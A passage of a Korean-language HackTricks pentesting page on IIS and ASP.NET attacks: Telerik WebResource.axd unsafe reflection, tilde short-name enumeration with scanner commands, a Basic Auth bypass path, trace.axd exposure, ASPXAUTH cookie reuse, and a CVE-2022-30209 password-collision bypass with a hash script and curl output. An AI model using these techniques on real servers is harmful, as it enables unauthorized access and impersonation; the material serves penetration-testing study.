  • ํŠธ๋ž˜ํ”ฝ์—์„œ โ€œSTARโ€ ๊ฐ™์€ ๋ฐ˜๋ณต ๊ตฌ๋ถ„์ž; ASPX/assemblies์— ๋Œ€ํ•œ ๋ถˆ์ผ์น˜ํ•˜๊ฑฐ๋‚˜ ์‹ฌ์ง€์–ด ๋ฏธ๋ž˜ ์‹œ์ ์˜ ํƒ€์ž„์Šคํƒฌํ”„.

Telerik UI WebResource.axd unsafe reflection (CVE-2025-3600)

๋งŽ์€ ASP.NET ์•ฑ์ด Telerik UI for ASP.NET AJAX๋ฅผ ํฌํ•จํ•˜๋ฉฐ ์ธ์ฆ ์—†์ด ์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ ํ•ธ๋“ค๋Ÿฌ Telerik.Web.UI.WebResource.axd๋ฅผ ๋…ธ์ถœํ•ฉ๋‹ˆ๋‹ค. Image Editor ์บ์‹œ ์—”๋“œํฌ์ธํŠธ(type=iec)์— ์ ‘๊ทผ ๊ฐ€๋Šฅํ•  ๋•Œ, ํŒŒ๋ผ๋ฏธํ„ฐ dkey=1 ๋ฐ prtype์€ public parameterless constructor๋ฅผ ์‚ฌ์ „ ์ธ์ฆ ์—†์ด ์‹คํ–‰ํ•˜๊ฒŒ ํ•˜๋Š” unsafe reflection์„ ํ™œ์„ฑํ™”ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ๋ฒ”์šฉ DoS ์›์‹œ๋ฅผ ์ œ๊ณตํ•˜๋ฉฐ, AppDomain.AssemblyResolve ํ•ธ๋“ค๋Ÿฌ๊ฐ€ ์ทจ์•ฝํ•œ ์•ฑ์—์„œ๋Š” ์‚ฌ์ „ ์ธ์ฆ RCE๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

See detailed techniques and PoCs here:

Telerik Ui Aspnet Ajax Unsafe Reflection Webresource Axd

Old IIS vulnerabilities worth looking for

Microsoft IIS tilde character โ€œ~โ€ Vulnerability/Feature โ€“ Short File/Folder Name Disclosure

์ด ๊ธฐ๋ฒ•์„ ์‚ฌ์šฉํ•˜๋ฉด (Basic Authentication์ด ์š”๊ตฌ๋˜๋Š” ๊ฒฝ์šฐ์—๋„) ๋ฐœ๊ฒฌ๋œ ๊ฐ ํด๋” ๋‚ด๋ถ€์˜ ํด๋”์™€ ํŒŒ์ผ์„ ์—ด๊ฑฐํ•ด๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
์„œ๋ฒ„๊ฐ€ ์ทจ์•ฝํ•œ ๊ฒฝ์šฐ ์ด ๊ธฐ๋ฒ•์˜ ์ฃผ์š” ์ œํ•œ์€ ๊ฐ ํŒŒ์ผ/ํด๋” ์ด๋ฆ„์˜ ์ฒ˜์Œ 6๊ธ€์ž๊นŒ์ง€๋งŒ, ํŒŒ์ผ ํ™•์žฅ์ž์˜ ๊ฒฝ์šฐ ์ฒ˜์Œ 3๊ธ€์ž๊นŒ์ง€๋งŒ ์ฐพ์„ ์ˆ˜ ์žˆ๋‹ค๋Š” ์ ์ž…๋‹ˆ๋‹ค.

๋‹ค์Œ ๋„๊ตฌ๋กœ ์ด ์ทจ์•ฝ์ ์„ ํ…Œ์ŠคํŠธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/

Original research: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf

๋˜๋Š” metasploit ์‚ฌ์šฉ: use scanner/http/iis_shortname_scanner

๋ฐœ๊ฒฌ๋œ ํŒŒ์ผ์˜ ์ตœ์ข… ์ด๋ฆ„์„ ์ฐพ๋Š” ์ข‹์€ ์•„์ด๋””์–ด๋Š” https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py ์Šคํฌ๋ฆฝํŠธ์ฒ˜๋Ÿผ ์˜ต์…˜์„ ์ƒ์„ฑํ•˜๋„๋ก LLMs์— ๋ฌผ์–ด๋ณด๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.

Basic Authentication bypass

Basic authentication (IIS 7.5)์„ ์šฐํšŒํ•˜๋ ค๋ฉด ๋‹ค์Œ์— ์ ‘๊ทผ์„ ์‹œ๋„ํ•ด๋ณด์„ธ์š”: /admin:$i30:$INDEX_ALLOCATION/admin.php ๋˜๋Š” /admin::$INDEX_ALLOCATION/admin.php

์ด ์ทจ์•ฝ์ ๊ณผ ์•ž์˜ ๊ธฐ๋ฒ•์„ ํ˜ผํ•ฉํ•˜์—ฌ ์ƒˆ๋กœ์šด ํด๋”๋ฅผ ์ฐพ๊ณ  ์ธ์ฆ์„ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ASP.NET Trace.AXD enabled debugging

ASP.NET์€ ๋””๋ฒ„๊น… ๋ชจ๋“œ๋ฅผ ํฌํ•จํ•˜๋ฉฐ ๊ทธ ํŒŒ์ผ์€ trace.axd์ž…๋‹ˆ๋‹ค.

์ด ํŒŒ์ผ์€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ๋Œ€ํ•ด ์ผ์ • ๊ธฐ๊ฐ„ ๋™์•ˆ ์ด๋ฃจ์–ด์ง„ ๋ชจ๋“  ์š”์ฒญ์˜ ๋งค์šฐ ์ƒ์„ธํ•œ ๋กœ๊ทธ๋ฅผ ๋ณด๊ด€ํ•ฉ๋‹ˆ๋‹ค.

์ด ์ •๋ณด์—๋Š” ์›๊ฒฉ ํด๋ผ์ด์–ธํŠธ IP, ์„ธ์…˜ ID, ๋ชจ๋“  ์š”์ฒญ/์‘๋‹ต ์ฟ ํ‚ค, ๋ฌผ๋ฆฌ์  ๊ฒฝ๋กœ, ์†Œ์Šค ์ฝ”๋“œ ์ •๋ณด, ์ž ์žฌ์ ์œผ๋กœ ์‚ฌ์šฉ์ž ์ด๋ฆ„๊ณผ ๋น„๋ฐ€๋ฒˆํ˜ธ๊นŒ์ง€ ํฌํ•จ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/

Screenshot 2021-03-30 at 13 19 11

ASPXAUTH๋Š” ๋‹ค์Œ ์ •๋ณด๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค:

  • validationKey (string): ์„œ๋ช… ๊ฒ€์ฆ์— ์‚ฌ์šฉํ•  hex ์ธ์ฝ”๋”ฉ ํ‚ค.
  • decryptionMethod (string): (๊ธฐ๋ณธ๊ฐ’ โ€œAESโ€).
  • decryptionIV (string): hex ์ธ์ฝ”๋”ฉ ์ดˆ๊ธฐํ™” ๋ฒกํ„ฐ(๊ธฐ๋ณธ์€ 0 ๋ฒกํ„ฐ).
  • decryptionKey (string): ๋ณตํ˜ธํ™”์— ์‚ฌ์šฉํ•  hex ์ธ์ฝ”๋”ฉ ํ‚ค.

ํ•˜์ง€๋งŒ ์ผ๋ถ€๋Š” ์ด๋Ÿฌํ•œ ํŒŒ๋ผ๋ฏธํ„ฐ์˜ ๊ธฐ๋ณธ๊ฐ’์„ ์‚ฌ์šฉํ•˜๊ณ  ์ฟ ํ‚ค ๊ฐ’์œผ๋กœ ์‚ฌ์šฉ์ž ์ด๋ฉ”์ผ์„ ์‚ฌ์šฉํ•˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ๋™์ผํ•œ ํ”Œ๋žซํผ์„ ์‚ฌ์šฉํ•˜๊ณ  ASPXAUTH ์ฟ ํ‚ค๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๋‹ค๋ฅธ ์›น์„ ์ฐพ๊ณ , ๊ณต๊ฒฉ ๋Œ€์ƒ ์„œ๋ฒ„์—์„œ ๊ฐ€์žฅํ•˜๊ณ ์ž ํ•˜๋Š” ์‚ฌ์šฉ์ž ์ด๋ฉ”์ผ๋กœ ์‚ฌ์šฉ์ž๋ฅผ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, ๋‘ ๋ฒˆ์งธ ์„œ๋ฒ„์˜ ์ฟ ํ‚ค๋ฅผ ์ฒซ ๋ฒˆ์งธ ์„œ๋ฒ„์—์„œ ์‚ฌ์šฉํ•˜์—ฌ ์‚ฌ์šฉ์ž๋ฅผ ๊ฐ€์žฅํ•  ์ˆ˜ ์žˆ์„ ๊ฐ€๋Šฅ์„ฑ์ด ์žˆ์Šต๋‹ˆ๋‹ค.
์ด ๊ณต๊ฒฉ์€ ๋‹ค์Œ์˜ writeup์—์„œ ๋™์ž‘ํ•œ ์‚ฌ๋ก€๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค.

IIS Authentication Bypass with cached passwords (CVE-2022-30209)

Full report here: ์ฝ”๋“œ์˜ ๋ฒ„๊ทธ๋กœ ์ธํ•ด ์‚ฌ์šฉ์ž๊ฐ€ ์ œ๊ณตํ•œ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์ œ๋Œ€๋กœ ๊ฒ€์‚ฌํ•˜์ง€ ์•Š์•„, ๋น„๋ฐ€๋ฒˆํ˜ธ ํ•ด์‹œ๊ฐ€ ์ด๋ฏธ ์บ์‹œ์— ์žˆ๋Š” ํ‚ค์™€ ์ถฉ๋Œํ•˜๋Š” ๊ณต๊ฒฉ์ž๋Š” ํ•ด๋‹น ์‚ฌ์šฉ์ž๋กœ ๋กœ๊ทธ์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j

assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')

# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized

# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK

์ฐธ๊ณ ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ